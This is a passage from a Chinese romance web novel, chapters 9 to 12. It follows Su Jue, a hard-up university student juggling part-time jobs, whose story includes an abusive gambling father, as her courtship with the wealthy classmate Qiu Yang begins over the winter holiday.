她听到邱扬神采奕奕的声音：“Im so sorry，Dr.zhu。”
邱扬在为上次课堂的顶撞道歉，接而我听到教授爽朗的笑声。
邱扬走出办公室，站在她身边，他们一路沉默，最后
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还是邱扬先开了口。
“喂，真打算跟我老死不相往来啊。”
苏决摇了摇头：“你为什么在这里？”
他倒是大大方方承认：“跟着你啊。”
那刚才她所做的一切他都看到了。
邱扬：“不高兴了？那我以后不跟着你了。”
苏决摇了摇头：“你下节课没课？”
他愣了下，拍了下脑袋：“糟糕，是军事理论，在北楼，一起去吗？”
她说：“快去吧。”
邱扬发表的那篇论文正是军事理论这门课的授课老师指导的，北楼在马路对面的校区。
他朝我摆了摆手，飞奔下楼，自行车蹬得飞快，穿过落叶纷飞的梧桐大道时，秋风扬起他的衣摆，我情不自禁拿起手机，将他的背影定格在小小的画面里。
他像一个美梦，肆意张扬，自由自在。
鲜衣怒马的少年，闯进了我的梦里。
当天空开始飘雪，转眼就到了期末，邱扬带领外语学院夺得了篮球赛的冠军，打破了土木系蝉联十多年的神话，但没有人拉踩谩骂，都心服口服。T大篮球人的心空前地齐，都奔着全国第一去准备。
决赛那天是在学校室内篮球场比的，结束之后还有颁奖典礼，是管体育方向的副校长给颁的奖，邱扬带着外语学院登上领奖台时，系主任在看台上吼得满脸通红。
杨恩兮说，因为每个男人心中都有一个篮球梦。
颁奖仪式后新闻社的学生为了写稿，还采访了邱扬团队。
杨恩兮为了等周天，但又不想一个人等，拉着我们一起等，她们陪着杨恩兮在场边，等着记者采访。
记者问了些常规的问题后，总免不了一些八卦的问题，记者问他：“可以问一些私人情感上的问题吗？”
邱扬点了点头：“可以。”
“大家都传你有喜欢的女孩子了？是真的吗？”
“是的。”
记者哇了一声，继续问：“能说一下她是什么类型的女孩子吗？”
邱扬脱口而出：“努力，低调，漂亮。”
“原来你喜欢这种类型的女孩子。”
“不是说我喜欢这种类型的，我只喜欢她。”
他说这话的时候，没有看向苏决，倒是杨恩兮，意味深长地看了苏决一眼，苏决没回应，也没说话，也不想去猜测杨恩兮知道了些什么。
杨恩兮家庭优渥，从小在蜜罐中长大，虽然有些骄横，但她仗义，爱憎分明，但是个有分寸的好人。
苏决看得出来，杨恩兮虽然觉得她奇怪，不可思议，但并不讨厌她。
只要他没表现出任何异样，杨恩兮便不会过问。
漂不漂亮是男生对女生的第一评价，让苏决意外的是，邱扬竟没有先把“漂亮”放在第一位。
9. 第 9 章
篮球社的社长上了大三，课业繁忙，邱扬就成了篮球社的社长。
大学英语课上老师会提问邱扬，也会继续纠正苏决的发音，会很耐心指出她哪里发得不对，要怎么改正，下了课之后还会像高中老师一样说一句：“有什么问题欢迎同学们到办公室跟我一起探讨，我的办公室在行政楼403。”
老师说这话的时候，是看着苏决说的。苏决的人生中机会并不多，只要有，我会牢牢抓住。
她忙着生存，忙着学习，时间被挤得满满当当，期末一到，图书馆七点半开门，六点就有人背着书包端着书在外面排队抢座位。
在图书馆兼职有一点好处就是不需要抢位置，图书馆每一层都有一个办公室，她对图书馆的工作我已经烂熟于心，很快就做完了，剩下的时间可以学习。
期末考试那个星期每天都在下雪，考完之后除了口译，苏决自觉考得不错，李子颖口译也考砸了，在寝室捶胸顿足，发誓下个学期要和苏决一起卷学习，下学期还要去外面机构报口译班，发过的誓余音还没散去，杨子颖已经开始讨论寒假要去哪里玩儿了。
杨恩兮要出国看爷爷奶奶，过年才回来，李子颖和关欣悦要去北方看冰雕，苏决告诉她们我回家。
其实她无家可回，寒假一到，她的银行卡里只剩下不到2000块钱，如果她只在图书馆勤工俭学，根本不够生活，也没法攒下个学期的生活费，学生都回去了，食堂只开一个，学校商业街的小饭馆也不招人，苏决在努力找兼职。
放假前一天，邱扬给她发消息，说篮球赛院里给发了奖金，要请大家一起吃饭看电影，她借口要在图书馆值班，去不了。
假期图书馆周末不需要值班，苏决撒了谎。
邱扬直接打了电话过来：“要一个月见不着面，一起去，好吗？”
苏决无法抵挡邱扬温声细语地跟她说话，他语气一软，她拒绝的话便说不出口。
因为周天和杨恩兮在一起，加上杨恩兮和邱扬是发小，两个寝室之间也渐渐成了朋友，虽然和她都不太熟，但聚在一起也不会冷场。
吃了饭又去唱了歌，苏决不会唱歌，关欣悦和李子颖是麦霸，周天和杨恩兮在谈恋爱，剩下四人，正好可以打牌。
商量了一阵之后决定打跑得快，上游的人可以向下游的人发问，大家都同意了游戏规则，苏决不喜欢这种游戏，但也不想坏了气氛，也就硬着头皮参加了。
第一轮苏决是上游，其中一个男生是下游，男生很兴奋：“问吧。”
苏决想了想问：“你叫什么名字？”
周遭安静了一瞬，接而哄堂大笑。
那男生抓着寸头，偏过头笑骂：“操。”
邱扬笑踢了他一下：“注意注意，别说脏话啊。”
男生站起来：“正式跟苏决同学介绍一下自己，我叫张浩泽，法语系，今年19，射手座，血型O，身高182，北方人，三围……”
邱扬又踢了他一下：“行了，你想干嘛？”
张浩泽顺势就坐下了。
苏决笑笑点了下头：“记下了，张浩泽。”
张浩泽又抓了抓脑袋：“不是，苏决，我也是篮球队的，跟他们一个寝室的，你真不知道我还是假不知道我啊？”
苏决说：“现在知道了，张浩泽。”
另一个男生凑过来开玩笑说：“我叫苏睿，本家，苏决同学认识我的吧。”
苏决笑着点了点头。
游戏继续，第二局还是我是上游，下游还是张浩泽。
我想了下问：“张浩泽，你多高？”
所有人一愣，接而又哈哈大笑，苏决勾了勾嘴角，她知道他刚才说过了，但她确实没什么想问的，这么问不用动脑子，又不会伤害到别人，何乐而不为呢。
第三局上游还是她，但下游是邱扬。
邱扬扔下余牌，迅速洗入乱牌中，但她看到了他的牌，好牌都没打，故意的。
邱扬一副很无奈的样子：“苏决同学，问吧。”
张浩泽凑过来说：“苏决，问他喜欢的女孩子是谁，我以后帮你买早饭，帮你去自习室占座。”
苏睿：“就是，这小子嘴严得很，打死也不说是谁，苏同学，问他。”
苏决低头洗牌：“这是隐私，不太好吧。”
邱扬：“你敢问我就敢答。”
她牌洗好了，抬头看向邱扬问：“邱扬，你多高？”
张浩泽和苏睿捶胸顿足。
邱扬回答：“186。”
下一局仍然是苏决上游，邱扬又放水，到了下游。
她问：“邱扬，你高考考多少分？”
邱扬：“我没高考，保送。”
下一局还是苏决上游，邱扬下游。
张浩泽：“邪门了，怎么回事？我怎么感觉被玩儿的不是牌，而是我啊。”
苏睿：“我也有这种感觉。”
他们不知道，或许是她的人生太烂，但牌运一直很好，她爸爸不知道什么时候发现的，在她很小的时候就让她上牌桌替他摸牌，也帮他赢了不少钱。
他赢了钱很高兴，但却威胁她说：“要你没点用，我早就掐死你了。”
为了不被掐死，为了活着，久
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而久之，她也学会了记牌，他们根本不是我的对手。
后来他的赌友不让她上牌桌了，她摸的牌不算数，他输钱了就开始对她拳打脚踢，说要掐死她，还好她长大了，学会了跑和躲。
张浩泽：“苏决，你是不是知道他喜欢的是谁啊？悄悄告诉我。”
苏决摇了摇头：“抱歉啊，真不知道。”
她看向邱扬，半晌不开口，邱扬没躲开她的眼神，安静地看着她。
她弯了弯嘴角：“邱扬，如果你喜欢的女孩是个杀|人|犯，你还会喜欢她吗？”
邱扬瞳孔萎缩，眼睛轻轻眨了下。
苏决知道，这三个字，入了他的心。
苏睿正在喝汽水，闻言噗一声喷老远，喷到了李子颖的身上，李子颖跳起来，拿着麦克风要打人，所有人又闹成了一片，不知道是刻意忽略这个问题带来的尴尬，还是真的不在意。
苏决移开目光，低头，把洗得整整齐齐的牌放在茶几上：“我不想玩了，你们斗地主吧。”
邱扬抓牌：“再来一局。”
这局苏决的牌出奇的差，好牌都让张浩泽抓去了，他泽很兴奋，扬言要把他们打稀碎，邱扬则很安静。
打到最后，苏决下游，邱扬上游。
邱扬比她想象的聪明，他会记牌，还会利用那两个小白一起对付她，牌局结束张浩泽捶胸顿足，直骂邱扬奸诈。
邱扬说再来一局的时候，苏决就料到有可能会是这个结果。
老天帮他，让她抓了一副烂牌。
苏决说：“问吧。”
张浩泽咬定这局应该是他赢，直接问我：“苏决，你有喜欢的人了吗？”
邱扬笑着骂他：“滚犊子。”
张浩泽骂：“奸诈，不然赢的是我。”
邱扬看着她，笑了笑，她安静等他问。
邱扬问：“寒假去哪儿玩？”
她回答：“回家。”
其他两人又抱怨连天，愣是一口咬定她和邱扬在耍人。
邱扬点了下头：“不玩儿了，来开黑，上号上号。”
李子颖招呼她过去唱歌，她坐在她们身边跟着节奏一起慢慢摇摆。
耳边时不时传来张浩泽的骂声：“卧槽邱扬你受啥刺激了，打这么凶猛。”
“你还冲你还冲不要命了啊啊啊啊好险你差点死了草。”
苏决安静地看着KTV屏幕里那些甜掉牙的歌词，忽然一阵鼻酸。
为什么此时此刻她明明已经站在明媚的阳光里，却总还在低头看着烂泥？
连抬头看一眼光的勇气都没有。
10. 第 10 章
寒假如期而至，兼职比苏决想象中要难找，除了家教，就是去发传单。
好在天寒地冻，发传单的工钱也比平时涨了一些。
也好在她语法学得不错，讲语法时深入浅出，两个星期后，家长之间相互交流介绍，她有了新工作。
她一天有了三份家教，加上晚上到图书馆值班，周末去发传单，倒也能攒一些钱，这让她安心了不少，不用太担心下学期的生活费，下学期可以把更多的时间和精力放在学习中，如果能评上奖学金，那她的生存压力更小了。
周末有个商场新开业，需要穿着商场吉祥物公仔外套搞活动，就是离学校有点远，单程地铁要两个小时，但酬劳也高一点，一天有150块钱。
苏决去了，简单培训之后穿上衣服就上岗。
天气很冷很干燥，上午还要在户外，她的皮肤干燥，手和脸都抹了很厚的面霜。
很便宜的那种面霜，五块钱一大包，可以用一整个冬天。
同行的女孩嗅了嗅说：“你身上的味道好熟悉啊，什么味儿呢，想不起来了。”
苏决说：“是不是小时候那种袋儿装的雪花膏的味道？”
她用力点头：“对对对，就是这个味儿，我小时候我妈一直用，我挺喜欢这个味儿的。”
大家都说这个味道好闻，却没人用，可能太过廉价，大概都用来怀旧了。
商场入口很大一块广场，上面铺着红毯，有个舞台，一会儿会有开业仪式，还会有商业演出，苏决穿好玩偶服，作为吉祥物站在两边吸引过客。
没想到，她看到了邱扬。
他不是来逛街的，而是穿着笔挺的西装，头发梳得一丝不苟，在一群人的簇拥中，从一辆一尘不染的黑色小轿车下来，径直走向商场中。
他走在成熟的职业男性中间，脸上的张扬和稚气特别显眼。
他一脸不情愿地站在一个中年男人身边，中年男人神情严肃地转过头跟他说了句什么，他便换了个严肃的表情。
旁边有人窃窃私语：“扬天集团老总都来了，有派头。”
“怪不得发传单都比超市多五十块。”
苏决收回目光，强迫自己投入工作，不去丈量自己和他之间的差距。
接下来的工作强度不容许她想太多，她不仅要发传单，还要砰砰跳跳，跟着节奏动，好不容易上午的户外活动结束了。
商场开业折扣大，人很多，上厕所都要排队，为了不让小朋友看到人偶里面是大人扮的，工作人员吩咐他们上厕所要去次顶楼员工厕所。
苏决上完厕所，重新给快冻成萝卜的手涂上面霜，穿好头套拿着手套出来，竟碰上了也刚上完厕所的邱扬。
她虽穿了人偶服，但还是没控制住愣在原地。
他笑了笑，走过来拍了拍苏决的脑袋就走了。
他才走出去两步，又停下来回过头看她，眼眸往下一扫，看着她的手。
苏决下意识曲了曲手指，很想转身就走，如果苏决不做出点反应，她总觉得下一秒邱扬就能认出她。
但她现在套着人偶服，她可以为所欲为。
她带上手套，小跑过去，从兜里拿出传单，歪着脑袋卖萌递给他，他接过之后，她用大脑袋蹭了蹭他的肩膀，双手在头顶朝他比了个心之后跟他拜拜，一蹦一跳地走了。
这是她一整个上午的工作，发出去不少传单，逗笑了不少路人。
但邱扬居然没有笑。
下午不用场外挨冻，但需要整座商场到处跑和小朋友互动，直到晚上九半点才领了薪水下班。
同行的女生累哭了，给妈妈打电话抱怨给她找了个这么苦的兼职，没想明白为什么要让她体验生活，这点工资都不够打车回去。
苏决领了薪水签了字，正准备走，一个工作人员匆匆赶来，给扮演公仔的他们每人发了个红包。
“商场开业，老板觉得你们扮人偶很辛苦，为了图个好彩头，给大家发个红包，辛苦了辛苦了。”
工作人员发完红包就走了，他们的薪水是招募临时工的劳务公司发的，工作人员走后劳务公司的负责人说：“你们捡大便宜了，从来没有哪个公司那么大方。”
每个红包里有200，同行的人都打车回去了，只有苏决一个人撒开腿苏决跑去地铁站，紧赶慢赶，终于在宿舍宵禁之前踩点回到了宿舍。
苏决收拾好躺在床上刷手机，邱扬两个小时前发了个朋友圈——
好可爱的吉祥物。
配图是一张吉祥物跳着跑的背影。
后面一大串点赞，杨恩兮评论：这不是你自己设计的丑娃娃吗？
邱扬给她回了个掌嘴的表情，周天挺身而出：打苏决媳妇，当苏决死了吗？苏睿受不了，回复周天：怎么哪哪都有你秀恩爱啊。
洋洋洒洒一大串评论，没有一个人知道，吉祥物里面的人是她。
看着这个朋友圈，苏决不确定邱扬是不是已经认出她来，可她没时间也没精力顾及那么多，苏决已经太累了。
和苏决在图书馆勤工俭学的其他学生都回家了，她的工作量也变多了，除了本职工作外，还要帮老师整理外国书籍馆。
外国书籍还来很多书，苏决整理许久才整理完，刚想坐下歇一会儿喝一口水，就有人来找书。
苏决抬头一看，竟是她的英语老师，他看到苏决也很惊讶：“你放假没回家呀？”
苏决连忙站起来，笑着用英语跟他说：“朱老师您好，请问你需要什么书？苏决能帮您什么忙？”
她的口音虽然进步了，在他听起来还是很蹩脚，但他很高兴，用英语很绅士回答苏决：“亲爱的小管理员，我需要一本英语文献，请你帮忙，谢谢。”
很快苏决帮老师找到了这本书递给他。
上次他在课堂上说下课可以找他的时候，每次大课间苏决都会去找他，尽管只有十分钟的时间，苏决却收益颇多。
英语老师老师夸赞她工作熟练程度，说：“我有个朋友开了个英语培训机构，需要一个兼职助教，离得也不远，周末过去，你有兴趣吗？”
“有兴趣。”
“他们的课程都不错，你可以学习，但发音不要学他们的，发音按苏决跟你说的练，understand？”
苏决很感激，又给他鞠了个躬：“thank you，Dr.朱。”
朱老师推荐的培训机构是教托福和雅思的，时薪也比校内的勤工俭学要贵一些，一个月就有2000块钱，比去大街发传单和去超市搞促销挣得多，工作也相对轻松。
苏决的主要工作就是整理讲义和PPT，准备教室，把资料发到学习群里，朱老师说苏决可以跟着学一点，确实可以，别人花好几千块钱来培训的课程，闲暇时她也可以看一看课件，听过几节课就找到了他们大概的授课思路，再结合课件，也能学一些。
日子忙碌而充实，不再为生存担忧，苏决心里充实了不少，工作起来更加游刃有余，朱老师偶尔会来外国书籍馆借书，他再来的时候，苏决在看他上次还的那本书。
他问：“你也喜欢看这本书？”
苏决摇了摇头，回答：“我不知道是什么书，只是好奇教授一般都会看些什么书，看了几页，挺有兴趣的，就比较难读懂，需要边看边查资料和文献。”
老师笑着说：“这些书对本科生太难了点，推荐你几本先打基础。”
“谢谢老师。”
她又从老师那里得到了宝贵的书单。
邱扬出国前给她发了个消息，问她需要带点什么东西回来，苏决回复他不需要，他给她发了一张机票和一张火
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车票过来，是大年初三到苏决们省会的机票，还有省会到苏决们市的火车票。
邱扬：【过了年打算去你的城市玩几天，到时候说不定要你当导游呢，给你带点礼物不过分吧】
见邱扬发了车票过来，苏决莫名松了一口气，那天去兼职邱扬没认出她来。
苏决回他：【真的不用，客气啦】
苏决一开始没打句号，想了想，打了个句号，给他发了过去，这次，邱扬没回她的消息，这次对话，是以她的消息结束。
忙碌充实的日子到过年时戛然而止，过年七天，机构放假，图书馆闭馆，家教也停了，还在营业的是超市的年货柜台，苏决便去超市做促销。
超市下午三点就打了烊，促销会剩下些东西，同行的阿姨见苏决是个外地大学生，大过年不回家，给苏决分了好些年货让苏决带回去吃，苏决没要，生怕领班发现了罚她。
她笑着跟苏决说：“拿着吧，大过年的，她不会讲，各有各的苦，各有各的难。”
太多东西，苏决挑了几样好的坚果和肉干给苏决高中班主任寄回去，再分一些给在值班的舍管阿姨。
除夕那晚苏决买了半只豆豉鸡，买了点椒盐麻辣排骨，他们那儿过年就吃这些。还有苦瓜酿肉，但这里买不到，虽然她没家可想，但一方水土养一方人，每逢佳节无亲可想，总想吃点习惯吃的，爱吃的。
苏决泡了个面，再买了瓶橙子味的灌装汽水，给高中班主任打了个电话后，手机横屏放在书桌上边吃边看春晚。
不一会儿传来敲门声，是舍管阿姨。
“苏决，下来一起吃饭。”
“不用了阿姨，我正在吃。”
“不知道哪位同学点了好多菜送了过来，说请还坚守在工作岗位的阿姨吃饭，还是德聚楼的嘞，德聚楼的餐很难订哦，好吃的，太多了我吃不完，你下来，一起一起吃。”
再客气就矫情了，苏决端上她买的东西下了楼。
舍管阿姨把餐食拿出来，铝箔纸包装，热腾腾的。
有豉油鸡、椒盐麻辣排骨、尖椒腊肉、猪肚鸡汤，还有苦瓜酿肉。
舍管阿姨：“哎呀巧了，跟你买的一样，来，多吃点，暖和点。”
阿姨跟苏决聊房价，聊股票，聊小时候的弄堂，聊他和他的先生，还有他们的女儿。
而后语重心长对她说：“小姑娘，再坚持坚持，过几年就好了，T大的学生，出了校门社会抢着要的，不要忘了好好学习呀。”
都说大城市里缺少了人情味，其实不然，他们充满人情味，但拥有边界感，英语老师不问苏决为什么寒假不回家，超市里的领班亦不问，舍管阿姨也没有问，他们不会以关心的名义把别人的隐私挖出来当谈资，闲暇时再施舍一点点可怜，可转头就忘了。
他们都懂，但他们知道，各有各的苦，各有各的难。
苏决点了点头：“谢谢阿姨。”
苏决要帮忙收拾，她拦着：“不用不用，早点上去休息，这天冷的呀，盖厚一点被子。”
等阿姨收拾完，苏决出去倒垃圾，路过宿舍外停着的一辆黑色轿车。
刚回宿舍，手机就响了，邱扬给她打了电话，响了几声，苏决接了起来。
邱扬声音轻快：“新年快乐，苏决。”
“是你，对不对。”
宿舍外停的那辆黑色轿车，车牌号和那天商场开业时邱扬坐的那辆一样。
邱扬在商场认出她了。
那天她穿着人偶服跑走之后，他看了她多久呢？
可是，她和他怎么可能呢。
苏决眨了眨眼，眼泪夺眶而出，接而不受控制。
邱扬深吸一口气：“我现在在你宿舍楼下，你下来，好吗？”
他又重复一遍：“你下来，好吗。”
11. 第 11 章
一个人对于自己没有的事物总会好奇和喜欢，但新鲜感会随着时间的腐蚀逐渐变质，现在多美好，最后的一地鸡毛就有多狼狈。
书上说活在当下，享受现在，还说生命是连续的刹那，过好每一刹那，不要为没发生过的事情担心，又说过去的发生的事影响不了现在。
苏决一直在努力自救，却始终没办法松开脑子里的那根弦。
“苏决，我喜欢你，第一眼就喜欢。”
“很遗憾，现在才遇到你。”
“我就站在你面前。”
“请你不要回头看以前，朝前看，看看我，好吗。”
苏决无法抵挡邱扬用示弱的口吻温声细语地说话。
野草长在低洼的地方，比娇艳的鲜花更渴望阳光，而邱扬，是比她家门前那座大山更高的熠熠生辉的太阳。
那是太阳啊，谁不喜欢呢。
谁不愿意靠近呢。
她挂了电话，穿好衣服下了楼，透过玻璃大门看到邱扬倚在车门旁，安静低头看手机，一动不动的样子似乎有点无措。
苏决深吸一口气，推门出去，他听到开门的声音，猛然抬头，手里的手机掉进了雪地里，怔怔地看着她。
她走过去站在他的面前，弯腰帮他捡手机。
他的手机画面停在他们的聊天对话框中。
邱扬吸了吸鼻子，双手凑近嘴边哈了哈气，再别过脸短促地笑了声，解下脖子上的围巾，里三层外三层地绕在我的脖子上，再看得跟裹得跟粽子一样的我笑个不停。
他弯下腰，凑近我看着我的眼睛：“我以为某些人会让我在这里冻成望妻石呢。”
苏决怪他：“谁叫你来。”
他就这样弯腰盯着她看，许久之后才无奈笑了笑：“我们苏决同学那么聪明，半个学期把成绩从倒数第一追到系里前三，却总在我面前装傻。”
他很委屈，似乎她是拿刀伤人的坏蛋。
邱扬：“你说呢，我为什么来？”
苏决低头看脚尖。
邱扬：“等我一下。”
他拉开车门，从车后座拿出一大束玫瑰花和一个纸袋子，向前走两步递给她：“生日快乐。”
苏决怔了怔，有点无措，甚至双手都不知道该放哪里，只得直愣愣站在原地看着他。
邱扬：“我听杨恩兮说的，你的生日在除夕。”
苏决摇了摇头：“其实不用过，不用麻烦。”
苏决从来没过过生日，她话一出口，便觉得难过，她本一无所有，如今却像拥有了全世界。
邱扬：“以后都过。”他说完，从兜里掏出个打火机，吧嗒一声点上：“许个愿，吹蜡烛。”
苏决像被人抽走了意识，无法保持理智，也无法思考，下意识回答：“我不会。”
邱扬：“那许一个永远和我在一起？不说话就算默认啦。”
打火机烧久了容易烫手，苏决不想让他烫着，便吹灭了打火机。
邱扬朝我张开双手：“抱抱。”
我走过去，轻轻靠进他怀里，脸靠在他的肩膀上，他环住我，强有力的心跳振着我的耳膜。
很暖很香，是阳光的味道。
像拥抱太阳。
邱扬：“你要一直快乐，一直快乐。”
没过一会儿，邱扬的手机响了，苏决想挣开他，他一只手搂着她不放，另一只手接电话。
邱扬：“爷爷。”
“臭小子，你把我从国外拐回来过年，人跑哪里去了？不是说要陪我看春晚！”
她脸埋在他胸口，听得清楚，她又推开他一下，他却搂得更紧了。
邱扬：“在抱您孙媳妇儿呢。”
“那把人带回来！偷偷摸摸在外面算什么回事？”
她下意识往后退，邱扬：“别动。”
她没敢再动，安静听他讲电话。
邱扬：“爷爷，我才追上，带回去让你们给我吓跑了，好了，我一会儿就回去了，红包给我准备好哦爷爷。”
“臭小子。”
那端挂了电话。
邱扬收了电话，双手又紧紧抱着她。
苏决说：“你家里人在等你回去，你快回去吧。”
邱扬：“不回，哪有第一次约会就约五分钟的。”
“你家里人会担心。”
“可我更想跟你在一起。”
没过一会儿，邱扬的电话又响了，这次是他妈妈打来的。
“你快回家呀，哪有大年三十在外面晃荡的呀，哪家正经姑娘这么晚还跟你外面晃荡，人家也要回家过年的呀，你这孩子没个大小。”
邱扬妈妈的话，让苏决下意识一缩，她知道自己敏感，那些稀疏平常的话总会无意间撩拨她的神经，让她总是忍不住丈量他俩之间的距离。
邱扬：“知道了，这就回去了。”
苏决挣开他，后腿一步：“好
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了，快回去吧。”
邱扬舍不得，上前一步，将她再次揽入怀中：“那我明天来找你。”
她拒绝：“明天我有工作。”
她要去超市搞促销，她潜意识里不想让邱扬看到她穿着节日工装抱着礼盒站在货架旁边，微笑着念广告语的样子。
因为模样不赖，她站在一群中年女人之间格外显眼，销量也很可观。
邱扬：“在哪里工作？我去帮你做，你在旁边歇着。”
苏决摇了摇头：“不要。”
邱扬没有再勉强：“那你什么时候下班，下了班我过来找你？”
她刚想拒绝，邱扬可怜兮兮说：“拜托啦，明天会有很多人去我家跟我爸拜年，晚上还要大聚餐，整得像应酬，我真的不想待在家，女朋友，请帮帮忙好吗。”
她点了点头：“我四点回到宿舍。”
邱扬：“那说好了，我明天四点在这里等你。”
“你快回去吧。”
“你先上去，我再走。”
她点了头，转身就走。
才走出两步，邱扬叫住我：“苏决。”
我停下脚步，回过头看他。
他向前两步，站在我面前：“你就这么走了？”
“你要早点回去。”
邱扬抬手，撩了下她的头发，她下意识地回避，邱扬指尖顿了下，接而直接掌心贴着她的脸，凑过来，鼻尖蹭到了她的鼻尖。
他的气息很浓烈，她的心脏已经快蹦出胸腔，肩紧绷着，额头起了细细密密的汗。
邱扬的唇在她的唇前停了下来，呼吸克制，两颗年轻的心正在跳动，在静谧的夜里震耳欲聋。
半晌后，他抬起头，吻了下她的额头：“盖上我的专属章，女朋友。”
他伸手刮了下我的鼻尖：“来日方长。”
苏决：“快回去吧，别让家人等久了。”
他说：“你先上去。”
她朝他招了招手，转身往宿舍楼走去。
玫瑰花很大，占了大半边书桌，香味浓郁，寝室里都是这个味道。
纸袋子里是一个碗口那么大的蛋糕，周围有一圈草莓。
她想起杨恩兮生日那晚。
邱扬端着蛋糕告诉她，不要随便挑，喜欢哪个挑哪个。
她挑了个草莓味的，他一直记得。
苏决吃了一口，甜丝丝的。
甜得不真实，甜如美梦。
12.第 12 章
和邱扬谈恋爱后，苏决的生活并没有发生什么改变，她依旧很忙碌，忙着在这个城市生存下去。
唯一改变的是，她偶尔会走神，会莫名其妙失笑，回过神还会莫名失落。
她甚至还惴惴不安，生怕别人知道他们在一起，对于邱扬，她在意别人的眼光，生怕别人异样的眼光，生怕别人说不不配。
她在泥泞中长大，每天都在努力地活着，从无暇顾及别人的目光。
除了邱扬。
她知道，她经历过的那些黑暗时刻，从此之后，变成了自卑晦涩的隐秘心事。
邱扬似乎足够了解她，并没有声张他们的关系，也没有在人群前做什么过分的举动，更不会追问她刻意的回避。
邱扬的迁就让她很有安全感，但又很愧疚。
她似乎没有办法给邱扬一份同龄人之间正常的、浪漫的爱情。
邱扬也很忙，忙着准备冲刺全国篮球赛，还忙着准备和老师合作的科研项目，两人在各自的人生轨道中奔忙，唯一相遇的地方就在小小的教室中。
下学期选课，两人已经通好气说尽量把课表选在一起，但阴差阳错，无论是必修课还是选修课，两人只有一门课重合。
上学期两人素不相识，仍有四节课重合，真是天不遂人愿。
虽然赵萌晓在论坛里坦白邱扬拒绝了她，且邱扬有喜欢的女孩子，许久之后，女生们看到邱扬在学校里不曾和那个女生过分亲密，学校里便开始谣言四起。
邱扬喜欢的白月光出国了，邱扬分手了，虽然他有喜欢的女孩，但他现在还是单身。
女生们总比想象中勇敢，还有人在学校论坛里实名发帖——只要没结婚，就可以追求。
于是，沉寂一段时间之后，追邱扬的女生又渐渐多了，邱扬的名字又开始频繁出现在寝室夜聊中。
李子颖：“你们听说了吗？艺术系的系花给邱扬投怀送抱。”
关欣悦：“是有DCUP的那个女生吗？”
李子颖：“虽然你的关注点有点奇怪，但是对。”
她们笑作一团。
李子颖寒假和暗恋三年的高中同学好上了，两人异地恋，天天打电话，好在就在隔壁市，两人离得不远，每月还会见一次面。
李子颖成了宿舍里最先变成女人的女生。
而苏决和邱扬，还没接过吻，两人比异地恋还要生疏，比小孩过家家还要纯洁。
李子颖和杨恩兮在寝室里会说男女之间那点事，说得关欣悦直感叹：“天啊！男人就这么色嘛！”
杨恩兮：“你以为男人是什么东西呢。”
李子颖：“色不一定是爱你，但爱你就一定色。”
苏决不同意李子颖的说法，邱扬虽然常常把爱说出口，但并不会像李子颖和杨恩兮所说的那样。
除了表白的那天晚上那个轻轻的吻，邱扬对她没有什么过分的举动。
李子颖：“那个女生的前男友不是说过吗？光抱一抱她，就能浑身酥|麻，销|魂至死。”
关欣悦：“上次艺术节，她跳的爵士舞，波涛汹涌，刺激，我一个女的都要硬了。”
李子颖：“我旁边那几个男生喊得都快晕过去了。”
关欣悦：“也不知道邱扬抱了什么感觉。”
李子颖：“她很会利用自己的优势，据说上一个男朋友也是她主动追的，也是那么投怀送抱一下，就成了，懂吧。”
苏决没出声，现在天气渐渐转热了，衣服越穿越少，那个女生投怀送抱的时候苏决不在场，但艺术节苏决去了。
但她记不得那个女生的表演了，只记得邱扬穿过喧嚣的人群来到她的身边，悄悄牵着她的手，紧紧握着。
关欣悦：“这个年纪的男生，浑身都是荷尔蒙，哇塞，天雷勾地火。”
李子颖：“那可不，邱扬再高岭之花，也是个性向正常血气方刚的男生吧。”
苏决不想听。
她翻了个身，打断他们：“早点睡吧，明天口译课，老师要点名的。”
李子颖悲叹了一声：“嗷呜，我上次已经被抓一次了，这次不能再被抓了。”
关欣悦：“睡觉睡觉。”
寝室安静下来，苏决胸口堵着一团棉花。
许久之后，李子颖又开口：“我说怎么怪怪的，原来是小决第一次参加我们的夜聊！”
关欣悦：“是哦是哦。”
一直不开口的杨恩兮开口：“睡觉啦，明天真的会起不来！”
苏决翻过身，却怎么都睡不着。
两人聚少离多，本来邱扬约着每周六晚上一起出去玩，但苏决要在图书馆值班，两人便作罢。
周六晚上值班工资最高，图书馆的老师特地安排给了苏决。
隔日，苏决申请和别的同学调班。
老师问她：“谈恋爱了？周六要去约会啊？”
苏决连忙摇头：“没有，我……”
苏决忽然想不起来拒绝的理由，张嘴半天说不出个原因来。
老师并没有追问她，而是笑着说：“行，周六一天都在兼职也挺累，晚上休息一下放松放松也会熬，那给你排到周日晚上了？”
苏决很感激：“谢谢老师。”
辜负了老师的好意，苏决很不好意思，但她想和邱扬在一起。
正好漫威电影上映，苏决知道邱扬喜欢，电影刚上新，还是IMAX 3D，周六晚上首映，影片限价，一张票就要80块，苏决咬咬牙，花了一天兼职赚的钱，买了两张周六晚上的票。
她付了钱，在随身携带的账本记了一笔之后，想着怎么跟邱扬开口。
她正在犹豫，邱扬给她打了电话。
“女朋友，周六晚上可以调个班吗？”
“怎么了？”
“上了一部我很喜欢的电影，陪我去看好吗？”
苏决还没开口，邱扬又补充一句：“如果不方便也没关系，不要为难。”
苏决：“好。”
邱扬愣了下，下意识说：“什么？”
苏决心里揪了下，问她这句话时，邱扬似乎没抱着希望。
苏决：“我以后周六晚上都不值班了。”
邱扬没说话，难以抑制欣喜，吃吃笑了起来，许久后才柔声说：“我买好票了，到时候我去接你？”
苏决：“好。”
邱扬在笑，许久后才温声细语说：“谢谢宝贝。”
苏决删掉准备发给邱扬的订单截图，弯了弯嘴角。
票钱退不了，她依旧开心。
苏决周六下午的兼职在超市，五点半结束，她长得漂亮，穿着工装往那儿一站搞促销，业绩总比别人好，超市领班也爱用她，不仅给她涨了时薪，还管饭，更会送她很多促销产品。
苏决没怎么吃过零食，也没那么爱吃，她成了宿舍的零食担当，她也会拿一些送给帮过她的舍管老师和图书馆老师。
但她从来不好意思给邱扬。
还好今天搞的促销是护手霜，她不用背着一大包零食去赴约。
苏决皮肤很好，但手上的皮肤并不算细腻，她提前一天在手上涂上厚厚的护手霜，仔仔细细地按摩，再带上手套捂了一整个晚上，隔天手上皮肤便润了很多。
促销柜台设在化妆品柜台附近，买护手霜的人多，领班过来看情况，叫化妆品柜员也想想办法多卖点。
化妆品柜台的小姐姐这个
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月的KPI没有完成，看着苏决这边的人气十分眼红。
趁着休息，苏决走过去问她：“我帮你卖口红。”
小姐姐很惊讶：“什么意思？”
苏决：“你帮我化个妆。”
苏决话不多，说话轻声细语的，却冷淡大于温柔，可正因为这样，总让人有种距离感，又有种压迫感，让人不由得顺着她的意思去办。
